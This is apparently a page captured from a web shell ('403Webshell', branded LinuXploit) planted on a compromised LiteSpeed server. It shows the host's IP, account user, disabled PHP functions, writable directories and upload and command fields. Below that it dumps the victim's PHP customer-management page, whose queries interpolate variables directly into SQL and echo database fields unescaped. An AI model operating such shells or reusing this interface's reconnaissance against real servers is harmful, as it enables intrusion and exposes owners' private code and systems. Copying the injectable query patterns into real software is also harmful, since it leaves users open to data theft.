403Webshell
Server IP : 92.204.40.98  /  Your IP : 216.73.216.201
Web Server : LiteSpeed
System : Linux amster.dnsfors.com 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : tmksyste ( 2190)
PHP Version : 8.3.31
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tmksyste/public_html/applications/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tmksyste/public_html/applications/customer_management.php
<!DOCTYPE HTML>
<html>
<head>
<title>Channel4Net | Tables</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>

<!-- Bootstrap Core CSS -->
<link href="css/bootstrap.css" rel='stylesheet' type='text/css' />

<!-- Custom CSS -->
<link href="css/style.css" rel='stylesheet' type='text/css' />

<!-- font-awesome icons CSS -->
<link href="css/font-awesome.css" rel="stylesheet"> 
<!-- //font-awesome icons CSS -->

 <!-- side nav css file -->
 <link href='css/SidebarNav.min.css' media='all' rel='stylesheet' type='text/css'/>
 <!-- side nav css file -->
 
 <!-- js-->
<script src="js/jquery-1.11.1.min.js"></script>
<script src="js/modernizr.custom.js"></script>

<!--webfonts-->
<link href="//fonts.googleapis.com/css?family=PT+Sans:400,400i,700,700i&amp;subset=cyrillic,cyrillic-ext,latin-ext" rel="stylesheet">
<!--//webfonts--> 

<!-- Metis Menu -->
<script src="js/metisMenu.min.js"></script>
<script src="js/custom.js"></script>
<link href="css/custom.css" rel="stylesheet">

<link href="https://cdn.datatables.net/1.10.19/css/jquery.dataTables.min.css" rel='stylesheet' type='text/css' />

<link href="https://cdn.datatables.net/buttons/1.5.6/css/buttons.dataTables.min.css" rel='stylesheet' type='text/css' />
<script src="https://code.jquery.com/jquery-3.3.1.js"></script>
<script src="https://cdn.datatables.net/1.10.19/js/jquery.dataTables.min.js"></script>

<script src="https://cdn.datatables.net/buttons/1.5.6/js/dataTables.buttons.min.js"></script>
<script src="https://cdn.datatables.net/buttons/1.5.6/js/buttons.flash.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.1.3/jszip.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/pdfmake.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/vfs_fonts.js"></script>
<script src="https://cdn.datatables.net/buttons/1.5.6/js/buttons.html5.min.js"></script>
<script src="https://cdn.datatables.net/buttons/1.5.6/js/buttons.print.min.js"></script>
<!--//Metis Menu -->

<script>$(document).ready(function() {
    $('#example').DataTable( {
        dom: 'Bfrtip',
        buttons: [
            
        ]
    } );
} ); 
</script>

</head> 
<body class="cbp-spmenu-push">
	<div class="main-content">
	<?php include('sidemenu.php');?>
	<?php include('connection.php');error_reporting(0);?>
		<!-- main content start-->
		<div id="page-wrapper">
			<div class="main-page">
				<div class="tables">
					<h2 class="title1">Customer Management</h2>
					
					<?php if($_REQUEST['log']=="insert"){?>
					<div class="alert alert-success" role="alert">
				<strong>Well done!</strong> You successfully inserted new Customer details.
					</div>
					<?php }?>
					<?php if($_REQUEST['log']=="edit"){?>
					<div class="alert alert-info" role="alert">
				<strong>Well done!</strong> You successfully edited Customer details.
					</div>
					<?php }?>
					<?php if($_REQUEST['log']=="delete"){?>
					<div class="alert alert-danger" role="alert">
				<strong>Oh snap!</strong> You successfully deleted Customer details.
					</div>
					<?php }?>
					
					<div class="bs-example widget-shadow" data-example-id="bordered-table"> 
						<h4>Customer Listing</h4>
						<table class="table table-bordered" id="example"> <thead> 
						<tr><th>#</th><th>Name</th> 
						<th>Order No</th><th>Requirement</th>
						<th>Address <br>& GST</th> 
						<th>Amount</th><th>Product</th>
						<th>Actions</th> 
						<th>Project</th> 
						</tr></thead><tbody> 
						<?php session_start();
						 $type=$_SESSION["type"]; $eids=$_SESSION["userid"];
						 if($type=='Employee'){$gquery="and followup_excecutive='$eids'";}
						 
					$sql2="SELECT *  FROM `customer_details` ORDER BY cid DESC";
						 $result2=mysql_query($sql2) or die(mysql_error());
						 $i=1;
						 while($row2=mysql_fetch_array($result2))
						{$lid=$row2['lid'];
						 $sql7="select * from leads where lid='$lid' $gquery";
						 $result7=mysql_query($sql7);
						 $row7=mysql_fetch_array($result7);
						 
						 
			    $sqlp="SELECT *,product_list.name as prname  FROM `leads` LEFT JOIN product_list ON leads.pname=product_list.pid WHERE leads.lid='$lid'";
				$resultp=mysql_query($sqlp)or die(mysql_error());
			    $rowsp=mysql_fetch_array($resultp);
			    
			    
					if(empty($row7['name_firm']))
					$cusname=$row2['customer'];
					else
					$cusname=$row7['name_firm'];
					if(!empty($cusname))
					{
						?>
						<tr> <th scope="row"><?php echo $i;?></th> 
						<td><?php echo $cusname;?></td> 
						<td><?php echo $row2['order_no'];?></td> 
						<td><?php echo $row2['product'];?></td> 
						<td><?php echo $row2['address']."<br>".$row2['gst'];?></td> 
						<td><?php echo $row2['total_amount'];?></td>
						<td><?php echo $row2['product'];?></td>
						<td style="width: 90px;">
						<a href="customer_edit.php?id=<?php echo $row2['cid'];?>"><img src="images/icons/edit.png" width="26px" height="26px" alt="Edit"></a>
						
						<a href="customer_view.php?id=<?php echo $row2['cid'];?>"><img src="images/icons/view.jpg" width="26px" height="26px" alt="View"></a>
						</td>
					    <td style="width: 92px;">
						<a href="project_add.php?id=<?php echo $row2['cid'];?>"><img src="images/icons/clock.png" width="30px" height="30px" alt="View"></a>
						
						
						<a href="project_view.php?id=<?php echo $row2['cid'];?>"><img src="images/icons/search.jpg" width="29px" height="29px" alt="View"></a>
						
						</td></tr> 
						<?php $i=$i+1;
						}
						}?>
						</tbody> </table>
					</div>
					
					
					
				</div>
			</div>
		</div>
		<?php include('footer.php');?>
	</div>
	
	<!-- side nav js -->
	<script src='js/SidebarNav.min.js' type='text/javascript'></script>
	<script>
      $('.sidebar-menu').SidebarNav()
    </script>
	<!-- //side nav js -->
	
	<!-- Classie --><!-- for toggle left push menu script -->
		<script src="js/classie.js"></script>
		<script>
			var menuLeft = document.getElementById( 'cbp-spmenu-s1' ),
				showLeftPush = document.getElementById( 'showLeftPush' ),
				body = document.body;
				
			showLeftPush.onclick = function() {
				classie.toggle( this, 'active' );
				classie.toggle( body, 'cbp-spmenu-push-toright' );
				classie.toggle( menuLeft, 'cbp-spmenu-open' );
				disableOther( 'showLeftPush' );
			};
			
			function disableOther( button ) {
				if( button !== 'showLeftPush' ) {
					classie.toggle( showLeftPush, 'disabled' );
				}
			}
		</script>
	<!-- //Classie --><!-- //for toggle left push menu script -->
	
	<!--scrolling js-->
	<script src="js/jquery.nicescroll.js"></script>
	<script src="js/scripts.js"></script>
	<!--//scrolling js-->
	
	<!-- Bootstrap Core JavaScript -->
	<script src="js/bootstrap.js"> </script>
	
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit